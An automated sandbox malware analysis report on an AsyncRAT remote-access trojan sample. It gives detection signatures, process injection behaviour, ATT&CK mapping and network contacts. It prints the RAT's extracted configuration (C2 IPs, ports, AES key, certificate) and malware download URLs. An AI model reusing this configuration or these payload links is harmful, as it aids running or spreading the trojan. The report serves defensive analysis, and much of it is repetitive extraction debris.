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Version: 33.0.0 White Diamond
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Windows Analysis Report aQKifdER74.exe

Overview

General Information

Sample 
Name:

aQKifdER74.exe

Analysis ID: 491717

MD5: 0d1c0270678dbf2…

SHA1: 5c6ffd912b0ec3d…

SHA256: ca2f1fd98c74804…

Tags: AsyncRAT exe RAT

Infos:

Most interesting Screenshot:

Detection

AsyncRATAsyncRAT

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Yara detected AsyncRAT

Yara detected AsyncRAT

Yara detected AsyncRAT

Yara detected AsyncRAT

Yara detected AsyncRAT

Yara detected AsyncRAT

Yara detected AsyncRATYara detected AsyncRAT

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Yara detected Costura Assembly Lo

Yara detected Costura Assembly Lo

Yara detected Costura Assembly Lo

Yara detected Costura Assembly Lo

Yara detected Costura Assembly Lo

Yara detected Costura Assembly Lo

Yara detected Costura Assembly LoYara detected Costura Assembly Lo……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/FireChecks if Antivirus/Antispyware/Fire……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the registStores large binary data to the regist……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTTDownloads executable code via HTT……

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version foUses insecure TLS / SSL version fo……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLsTries to load missing DLLs

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

aQKifdER74.exe (PID: 1172 cmdline: 'C:\Users\user\Desktop\aQKifdER74.exe'  MD5: 0D1C0270678DBF229C04ED4EC7E1A493)

conhost.exe (PID: 6568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

InstallUtil.exe (PID: 6432 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)

cmd.exe (PID: 3184 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\user\AppData\Local\Temp\tmpC472.tmp.bat'' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 6316 cmdline: timeout 3  MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

cleanup

Process Tree

Malware Configuration

Threatname: AsyncRAT

Copyright Joe Security LLC 2021 Page 4 of 32



Sigma Overview

System Summary:

{

  "Server": "5.230.84.50,104.37.174.26,216.250.249.156",

  "Ports": "1465,1759,1985",

  "Version": "0.5.7B",

  "Autorun": "false",

  "Install_Folder": "%AppData%",

  "Install_File": "",

  "AES_key": "CviFBxAIEOzETfTuvyDMiePzFR0znzEi",

  "Mutex": "AsyncMutex_6SI8OkPnk",

  "AntiDetection": "false",

  "External_config_on_Pastebin": "null",

  "BDOS": "false",

  "Startup_Delay": "3",

  "HWID": "null",

  "Certificate": 

"MIIE8jCCAtqgAwIBAgIQANdB+FD1mUGLSlrjGJfQJTANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjEwNjI4MTUxMzQ5WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNl

cnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJvmEbrEMzWo9JVpGbRwr3ek4iSx3sTcir9kldR41s+m9ewITiP3v0iC1d37Fokd0nq7baUSl3ivke7VdVJH3GvMmk+jCHGZlj2jar2hP5MO1mBSXFNyS38n1S6zBBco7

qzTOBRnVwcQ+eFRYAk1/euE91dSPr1Rw4gCvnMtx6dLcFz6DvcAFc6haT2Vgex+ZkZwROCvDwkUokWJ8Ca5FnlHk681btEPoe0LHsPfM8UaT2VJGet/BstnXAOysbfwaUmshmkylc3aGT0sYoxnJPv1Czgj33a5WYG3SaoFYPErq+EG85

8A54myZktmY5bPDKxpO3jYZ3KoOmMoXnwBqQwNfSM/e9A22HyMdXRhNeHxgWrOuodVraygXwJUeXXaFcOCyXk5A6Wiu9ikkRsduIVWPLd83pvh+nY0tT82pmNNJz0xWopaHWGRkC76m8r5vdTN4O12biMl2kA1NLBNny7qA+L7rTBdBfW

BhsvgtgcWhouFpT2zZ4ZgThx6cahnnWY8inHVVU/mGXN66gSQ7LjtMtfZi9Anc61Y+XIYCvApnGcM3R4wfOrxnV1ng9AtRYSXw14nhqdihw34UMHnQgXPPO3iVPwtK1L1WQF+hoSSLjlaIKr+B/tqSXFBn1sqP4iVPpIWNXlLJqOsNsb3

1q3JA/F7Rm63oGJLdPGyYU+nAgMBAAGjMjAwMB0GA1UdDgQWBBQe+aHUFc74O2+SJXH0Dvr61LagrzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQAjncBHX6jCdTvHIuMWERJZ3kkkLg6uC51M6GGm1QHgLi3mO9GDf

ahgQZn1kSt7KBNxbc1QWh+EefejC68CauufM0m6RvrDrlrbwR7oyz/IMiQOlQXJH6KTo2qkkiWDc9vA6iUHi0Fc1cbG8otK8lYR0YBWWOmKKRDm0dDh2L+UXs4xVqUA2jgjku5D7yCiXG/CGo9Wm1TXmBrE7Jy08jF7PrdxTYp35miXUI

Anf00heEASaK4JjO6yjXKRAl4SPTDDAiZiB9zF/dOlOwLir5gQZbL3IVDg29qL/fJvX7j+MxAwmIswdGCPcmVpuIcZV3ATQUtDf0fy0LW9tkTkZbAHZACC7fr4OSDz4DnGC6N/eL4MQ3i3IivOZTVH1tuq6RBBz7V0iZovpSjL12bSDmP

7Fisj61iJpFYrHazO7kCY1rYYAvagboLuXfkVL2jaV/0PkIHTKJPoSPlug2u7BG/uGmyAd6UrXLa6anb2+1vxM0BuJc9SRm8Whig4ft9IS8mA3n1X/zY5pDh2Q4uGuqQ8Z8KuMASrB1R2g4+W7H4Nqa7Tsts4AzGI5bL7pOHpBvHTfDnh

rbVSwFx3xthUfS4oQoR91bE/vJApNj8UtOSj7BfVCP7z/PYlRcc8CJXAh+7I68gfHVay5biuglStAKzEnPJlHdfD1PcpMlLsi7hBAw==",

  "ServerSignature": 

"BWoBc4eZBohdpLz283Tm3ZmxQ/7rKPDhHYADzF5w5DhgFbEdVbBgtrFu3y/tqN5+E3837aUiVvzOy/3qcLfDqqElMvqshWn2xwYrC4aDGwSG6TuED0v9sr/hdMIWsigM5d8QmxBagXj5ltNZ6ojCinxdEtSMOYVfYCKDD9b4Vf4vyNy7

N9iEMfS5RSVHcI8G+10qKJZ/hezSEq60mZ0yIW/9FcAkfPD3trFkmMHiPaVZdnIPwnpdQN/EyU3kZpq3QIpR3ZULNAyH2cFhN5sgETgnfYMe5Cy3IUAwFN01FMGfaVTgG5DOFJBtWUstwtfhTL1l/+aqpwXY60foEma7MPo8tCN12Rj+4

PT0DzZ8iRV0QvRNLnWeHw5emGOwsZIi/ItJiJi9RPQzOBlggFeJsr4ASow/nxLb5mIyXto0iS2ufIUq9i07QEMlRY4kt5JZBRauGtoCsrsfgo5D10UUleej2NfA2yAJ9wTznV1A/vLg241+oFk8fpgejIvhn7ofQ8igOAaGeQ6RcPvhvy

1qx4l8/znhwwWLxRNxwO8aMZ4F6CkX0+n4yTNxKRs95SQqvWYQxgwWiIreJj/8czEyAENl9ne7iREFzEblANU+cKOW0px+0rktn+fSForeL2piJOA3yQ9K8/idHf/XQ+qkOZmdQc42zm9ajey1dtPJcn0=",

  "Group": "IZGroup"

}

Source Rule Description Author Strings

00000000.00000002.702390271.0000000002C8
E000.00000004.00000001.sdmp

JoeSecurity_AsyncRAT Yara detected 
AsyncRAT

Joe Security

00000005.00000002.883519975.000000000040
2000.00000040.00000001.sdmp

JoeSecurity_AsyncRAT Yara detected 
AsyncRAT

Joe Security

00000005.00000002.884667600.0000000002E4
1000.00000004.00000001.sdmp

JoeSecurity_AsyncRAT Yara detected 
AsyncRAT

Joe Security

00000005.00000002.884796919.0000000002E7
F000.00000004.00000001.sdmp

JoeSecurity_CosturaAsse
mblyLoader

Yara detected 
Costura Assembly 
Loader

Joe Security

00000000.00000002.702559639.0000000002DC
B000.00000004.00000001.sdmp

JoeSecurity_AsyncRAT Yara detected 
AsyncRAT

Joe Security

Click to see the 4 entries

Source Rule Description Author Strings

5.2.InstallUtil.exe.400000.0.unpack JoeSecurity_AsyncRAT Yara detected 
AsyncRAT

Joe Security

5.2.InstallUtil.exe.6b30000.8.raw.unpack JoeSecurity_CosturaAsse
mblyLoader

Yara detected 
Costura Assembly 
Loader

Joe Security

0.2.aQKifdER74.exe.2c8fe7e.2.raw.unpack JoeSecurity_AsyncRAT Yara detected 
AsyncRAT

Joe Security

0.2.aQKifdER74.exe.2c95a48.1.unpack JoeSecurity_AsyncRAT Yara detected 
AsyncRAT

Joe Security

0.2.aQKifdER74.exe.2c95a48.1.raw.unpack JoeSecurity_AsyncRAT Yara detected 
AsyncRAT

Joe Security

Click to see the 1 entries

Yara Overview

Memory Dumps

Unpacked PEs

Copyright Joe Security LLC 2021 Page 5 of 32



Sigma detected: Possible Applocker Bypass

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Machine Learning detection for sample

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected AsyncRAT

Data Obfuscation:

Yara detected Costura Assembly Loader

.NET source code contains potential unpacker

Boot Survival:

Yara detected AsyncRAT

Malware Analysis System Evasion:

Yara detected AsyncRAT

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Injects a PE file into a foreign processes

Lowering of HIPS / PFW / Operating System Security Settings:

Yara detected AsyncRAT

Stealing of Sensitive Information:

Tries to harvest and steal browser information (history, passwords, etc)

Mitre Att&ck Matrix

Copyright Joe Security LLC 2021 Page 6 of 32



Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion
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Access Discovery

Lateral
Movement Collection Exfiltration
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and Control

Network
Effects
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Accounts

Windows
Management
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DLL Side-
Loading 1

Disable or Modify
Tools 1

OS
Credential
Dumping 1
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Discovery 1

Remote
Services

Archive
Collected
Data 1

Exfiltration
Over Other
Network
Medium

Ingress Tool
Transfer 1 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scripting 1 Scheduled
Task/Job 1

Process
Injection 2 1 2

Scripting 1 LSASS
Memory

System Information
Discovery 1 3

Remote
Desktop
Protocol

Data from
Local
System 1

Exfiltration
Over
Bluetooth

Encrypted
Channel 1 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

Scheduled
Task/Job 1

Logon Script
(Windows)

Scheduled
Task/Job 1

Obfuscated Files or
Information 1 1 1

Security
Account
Manager

Query Registry 1 SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-Standard
Port 1

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Software
Packing 1 1

NTDS Security Software
Discovery 1 1 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Non-
Application
Layer
Protocol 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

DLL Side-Loading 1 LSA
Secrets

Process Discovery 1 SSH Keylogging Data
Transfer
Size Limits

Application
Layer
Protocol 1 3

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Masquerading 1 Cached
Domain
Credentials

Virtualization/Sandbox
Evasion 2 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Modify Registry 1 DCSync Application Window
Discovery 1

Windows
Remote
Management

Web
Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Virtualization/Sandbox
Evasion 2 1

Proc
Filesystem

Remote System
Discovery 1

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer Protocol

Downgrade to
Insecure
Protocols

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) Process
Injection 2 1 2

/etc/passwd
and
/etc/shadow

System Network
Connections
Discovery

Software
Deployment
Tools

Data
Staged

Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Web Protocols Rogue Cellular
Base Station

Behavior Graph

Copyright Joe Security LLC 2021 Page 7 of 32



Behavior Graph

ID: 491717

Sample: aQKifdER74.exe

Startdate: 27/09/2021

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Found malware configuration Antivirus detection
for URL or domain 6 other signatures

aQKifdER74.exe

14 4

        started       

5.230.68.154, 49772, 80

ASGHOSTNETDE

Germany

cdn.discordapp.com

162.159.133.233, 443, 49773

CLOUDFLARENETUS

United States

192.168.2.1

unknown

unknown

C:\Users\user\AppData\...\aQKifdER74.exe.log, ASCII

dropped

Writes to foreign memory
regions

Injects a PE file into
a foreign processes

InstallUtil.exe

3 5

        started       

conhost.exe

        started       

5.230.84.50, 1465, 49774, 49776

ASGHOSTNETDE

Germany

Tries to harvest and
steal browser information

(history, passwords,
etc)

cmd.exe

1

        started       

conhost.exe

        started       

timeout.exe

1

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

aQKifdER74.exe 23% Metadefender Browse

aQKifdER74.exe 54% ReversingLabs ByteCode-
MSIL.Backdoor.Crysan

aQKifdER74.exe 100% Joe Sandbox ML

No Antivirus matches

Source Detection Scanner Label Link Download

5.2.InstallUtil.exe.400000.0.unpack 100% Avira TR/Dropper.Gen Download File

0.2.aQKifdER74.exe.2c95a48.1.unpack 100% Avira HEUR/AGEN.1110362 Download File

No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.metadefender.com/#!/results/file/bzIxMDkyNU1kUnB1cG9KY2Q2aW9QUEMwVlow/regular/analysis


General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 491717

Start date: 27.09.2021

Start time: 20:35:12

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 8m 8s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: aQKifdER74.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

21

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Source Detection Scanner Label Link

https://cdn.discordapp.comx 0% Avira URL Cloud safe

5.230.68.154 0% Avira URL Cloud safe

5.230.68.154/img/icon/b.exe 100% Avira URL Cloud malware

james.newtonking.com/projects/json 0% URL Reputation safe

Name IP Active Malicious Antivirus Detection Reputation

cdn.discordapp.com 162.159.133.233 true false high

Name Malicious Antivirus Detection Reputation

https://cdn.discordapp.com/attachments/889935662827044904/889981640498090054/runpe.p
df

false high

5.230.68.154/img/icon/b.exe true Avira URL Cloud: malware unknown

IP Domain Country Flag ASN ASN Name Malicious

5.230.84.50 unknown Germany 12586 ASGHOSTNETDE true

5.230.68.154 unknown Germany 12586 ASGHOSTNETDE true

162.159.133.233 cdn.discordapp.com United States 13335 CLOUDFLARENETUS false

IP

192.168.2.1

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private
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Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@10/6@1/4

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 75%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

20:36:16 API Interceptor 2x Sleep call for process: aQKifdER74.exe modified

20:36:32 API Interceptor 2x Sleep call for process: InstallUtil.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

5.230.84.50 uYXdiSR2Vh.exe Get hash malicious Browse

162.159.133.233 update[1].exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/87065661
1562180611
/873962758
427783228/
4401fbad77
d12fbc.dll

trinitymediaorder-po140521.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/84304703
4843955224
/843047170
223243314/
NioR5xJ1XC
9a9v2.exe

NeworderWJO-002,pdf.exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/84190635
5832750103
/842664739
850944512/
zBdd3DFJml
9UrbJ.exe

proforma invoice No. 42037,pdf.exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/80931153
1652087809
/839379299
009298442/
Log_snake.exe

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/385471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385471/html/none?idtype=webid
https://view.joesandbox.com/analysis/362723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/362723/html/none?idtype=webid
https://view.joesandbox.com/analysis/324288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/324288/html/none?idtype=webid
https://view.joesandbox.com/analysis/322963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/322963/html/none?idtype=webid
https://view.joesandbox.com/analysis/312631/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/312631/html/none?idtype=webid


Proforma adjunta N#U00ba 42037,pdf.exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/80931153
1652087809
/839093777
200971776/
snake_cryp
ted.exe

Bon_Commande.BC106823.1602202.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/80109110
1888741379
/818969220
003790912/
fodx.exe

PO81105083.xlsx Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/80144980
1975726095
/801450821
929009152/
Purchase_O
rder.exe

Final documents.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/78897377
5433498687
/788974151
649722398/
damianox.scr

009845673.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/78897377
5433498687
/788974151
649722398/
damianox.scr

bPT6aeEo8O.rtf Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/78540470
3725977620
/785404954
315194398/
buildkelly.exe

00094321 Order.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/78366665
2440428545
/783667553
490698250/
kdot.exe

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

cdn.discordapp.com s9SWgUgyO5.exe Get hash malicious Browse 162.159.13
3.233

Original Shipping documents.exe Get hash malicious Browse 162.159.12
9.233

Image-Scan-80195056703950029289.exe Get hash malicious Browse 162.159.13
3.233

RHgAncmh0E.exe Get hash malicious Browse 162.159.13
5.233

InvPixcareer.-43329_20210927.xlsb Get hash malicious Browse 162.159.12
9.233

InvPixcareer.-43329_20210927.xlsb Get hash malicious Browse 162.159.13
0.233

7kDS0NWm3l.exe Get hash malicious Browse 162.159.13
0.233

kzSWxYLY4H.exe Get hash malicious Browse 162.159.13
3.233

InvPixcareer.-5589234_20210927.xlsb Get hash malicious Browse 162.159.13
3.233

Domains
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https://view.joesandbox.com/analysis/311683/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311683/html/none?idtype=webid
https://view.joesandbox.com/analysis/275083/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275083/html/none?idtype=webid
https://view.joesandbox.com/analysis/256973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256973/html/none?idtype=webid
https://view.joesandbox.com/analysis/249000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249000/html/none?idtype=webid
https://view.joesandbox.com/analysis/248981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248981/html/none?idtype=webid
https://view.joesandbox.com/analysis/247539/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247539/html/none?idtype=webid
https://view.joesandbox.com/analysis/245238/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245238/html/none?idtype=webid
https://view.joesandbox.com/analysis/386123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386123/html/none?idtype=webid
https://view.joesandbox.com/analysis/386064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386064/html/none?idtype=webid
https://view.joesandbox.com/analysis/386043/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386043/html/none?idtype=webid
https://view.joesandbox.com/analysis/386042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386042/html/none?idtype=webid
https://view.joesandbox.com/analysis/386023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386023/html/none?idtype=webid
https://view.joesandbox.com/analysis/386015/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386015/html/none?idtype=webid
https://view.joesandbox.com/analysis/386005/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386005/html/none?idtype=webid
https://view.joesandbox.com/analysis/386004/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386004/html/none?idtype=webid
https://view.joesandbox.com/analysis/386003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386003/html/none?idtype=webid


INQUIRY LIST.exe Get hash malicious Browse 162.159.12
9.233

YTHK21082400.exe Get hash malicious Browse 162.159.13
3.233

Silver_Light_Group_DOC03027321122.exe Get hash malicious Browse 162.159.13
0.233

DeKxL6OdiV.exe Get hash malicious Browse 162.159.13
0.233

OTKqvzSZfm.exe Get hash malicious Browse 162.159.13
3.233

Taskmgr.exe Get hash malicious Browse 162.159.13
4.233

SWIFT ADVISE VD20092021.Pdf.exe Get hash malicious Browse 162.159.12
9.233

xccHIJ0vo7.exe Get hash malicious Browse 162.159.13
3.233

9Fq3K0VfLK.exe Get hash malicious Browse 162.159.13
4.233

NEW PRODUCT DETAILS.doc Get hash malicious Browse 162.159.12
9.233

PO-IMAGE-SCAN-00HD878HE485HDYTE.exe Get hash malicious Browse 162.159.12
9.233

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

ASGHOSTNETDE uYXdiSR2Vh.exe Get hash malicious Browse 5.230.84.50

9YBEjmPn3w Get hash malicious Browse 89.106.93.135

jKira.x86 Get hash malicious Browse 5.175.194.119

EofbDJ3S2o.exe Get hash malicious Browse 5.230.68.37

